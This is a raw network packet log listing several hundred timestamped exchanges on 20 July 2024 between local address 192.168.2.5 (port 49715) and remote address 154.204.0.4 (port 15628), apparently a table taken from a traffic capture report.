Jul 20, 2024 11:54:15.621076107 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:15.621165991 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:15.626095057 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:15.626183033 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:15.631016016 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:15.663511992 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:15.668633938 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:15.668725967 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:15.674401045 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:15.674494028 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:15.680565119 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:15.684923887 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:15.691035032 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:15.691205025 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:15.696166039 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:15.696290970 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:15.701276064 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:15.705080032 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:15.710057974 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:15.710211039 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:15.715451002 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:15.715668917 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:15.720715046 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:15.720904112 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:15.725945950 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:15.726084948 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:15.730954885 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:15.731168032 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:15.735980034 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:15.736093998 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:15.740915060 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:15.741146088 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:15.746315956 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:15.746448040 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:15.751354933 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:15.751532078 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:15.758266926 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:15.758425951 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:15.763480902 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:15.763573885 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:15.768639088 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:15.768773079 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:15.773696899 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:15.773775101 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:15.778585911 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:15.781039953 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:15.786075115 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:15.786236048 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:15.791148901 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:15.791310072 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:15.796118975 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:15.796230078 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:15.801291943 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:15.805052042 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:15.810010910 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:15.810077906 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:15.815778017 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:15.815851927 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:15.820847988 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:15.820936918 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:15.827755928 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:15.827822924 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:15.832735062 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:15.832820892 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:15.838721037 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:15.838913918 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:15.843812943 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:15.843887091 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:15.848778963 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:15.848896980 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:15.853728056 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:15.853882074 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:15.858638048 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:15.858726025 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:15.863579988 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:15.863713026 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:15.868556976 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:15.868859053 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:15.873802900 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:15.873951912 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:15.878746033 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:15.878866911 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:15.891470909 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:15.891664028 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:15.896524906 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:15.896636009 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:15.901582003 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:15.902560949 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:15.907506943 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:15.907627106 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:15.912451982 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:15.913022995 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:15.918006897 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:15.920943022 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:15.925923109 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:15.926033020 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:15.930893898 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:15.930969000 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:15.935962915 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:15.936038017 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:15.941004992 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:15.941138029 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:15.946147919 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:15.947232962 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:15.952436924 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:15.952559948 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:15.957647085 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:15.957762957 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:15.963006020 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:15.963412046 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:15.968522072 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:15.968663931 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:15.973673105 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:15.977041960 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:15.982038021 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:15.984994888 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:15.989965916 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:15.991034985 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:15.996026993 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:16.000993967 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:16.006707907 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:16.009032965 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:16.014477015 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:16.017050028 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:16.022103071 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:16.025125027 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:16.030339003 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:16.030560970 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:16.035486937 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:16.035847902 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:16.041165113 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:16.041332006 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:16.046225071 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:16.048973083 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:16.054244995 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:16.057023048 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:16.062015057 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:16.065033913 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:16.070005894 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:16.073033094 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:16.078089952 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:16.081079006 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:16.085987091 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:16.089023113 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:16.093966961 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:16.097016096 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:16.102040052 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:16.105052948 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:16.110140085 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:16.112786055 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:16.117754936 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:16.121500015 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:16.126547098 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:16.131162882 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:16.136332989 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:16.136434078 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:16.141292095 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:16.141421080 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:16.146488905 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:16.148978949 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:16.154016018 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:16.157006979 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:16.162046909 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:16.165015936 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:16.170264006 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:16.173033953 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:16.178039074 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:16.181025028 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:16.186048031 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:16.189037085 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:16.194080114 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:16.195031881 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:16.200123072 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:16.200207949 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:16.205161095 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:16.209142923 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:16.216166019 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:16.217102051 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:16.222579002 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:16.223144054 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:16.228549004 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:16.231019020 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:16.236085892 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:16.239044905 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:16.244147062 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:16.247226000 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:16.252319098 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:16.255100012 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:16.260236979 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:16.263364077 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:16.268390894 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:16.271142960 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:16.277733088 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:16.279362917 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:16.287331104 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:16.291470051 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:16.299031973 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:16.303275108 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:16.308743954 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:16.312546015 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:16.317784071 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:16.320533991 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:16.325416088 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:16.327059031 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:16.332108974 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:16.335148096 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:16.340290070 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:16.343046904 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:16.348119974 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:16.351059914 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:16.356057882 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:16.359110117 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:16.364106894 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:16.364245892 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:16.369467974 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:16.371238947 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:16.376368999 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:16.379365921 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:16.384357929 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:16.387202978 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:16.392251968 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:16.395334959 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:16.400568962 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:16.403207064 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:16.408823967 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:16.411335945 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:16.416894913 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:16.419302940 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:16.424613953 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:16.427323103 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:16.432554960 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:16.435256958 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:16.440865993 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:16.443239927 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:16.448312998 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:16.451195002 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:16.456270933 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:16.462918997 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:16.467977047 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:16.471407890 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:16.476435900 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:16.476586103 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:16.481628895 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:16.485055923 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:16.490243912 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:16.493016958 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:16.498579025 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:16.498754978 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:16.503724098 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:16.503812075 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:16.509279013 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:16.509689093 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:16.514884949 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:16.514976978 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:16.520976067 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:16.521161079 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:16.526978016 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:16.529017925 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:16.534216881 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:16.534327984 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:16.539309978 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:16.539402008 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:16.544258118 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:16.545032024 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:16.550085068 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:16.551878929 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:16.556839943 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:16.556976080 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:16.561969995 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:16.565058947 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:16.570586920 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:16.570741892 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:16.575954914 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:16.576106071 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:16.581099987 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:16.581181049 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:16.586067915 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:16.586190939 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:16.591337919 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:16.591460943 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:16.596510887 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:16.596672058 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:16.602694035 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:16.602855921 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:16.607908964 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:16.608062983 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:16.613087893 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:16.613297939 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:16.618268967 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:16.618834972 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:16.623950005 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:16.624078989 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:16.628992081 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:16.629106998 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:16.634042978 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:16.639142990 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:16.644170046 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:16.649101973 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:16.654150963 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:16.654392004 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:16.659569979 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:16.659899950 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:16.664952040 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:16.666575909 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:16.672174931 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:16.672595978 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:16.678020000 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:16.678075075 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:16.683362961 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:16.683432102 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:16.688572884 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:16.688617945 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:16.693587065 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:16.693634033 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:16.698678017 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:16.698724985 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:16.703746080 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:16.703803062 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:16.708774090 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:16.708827972 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:16.713748932 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:16.713802099 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:16.718672037 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:16.718730927 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:16.723637104 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:16.723694086 CEST	49715	15628	192.168.2.5	154.204.0.4
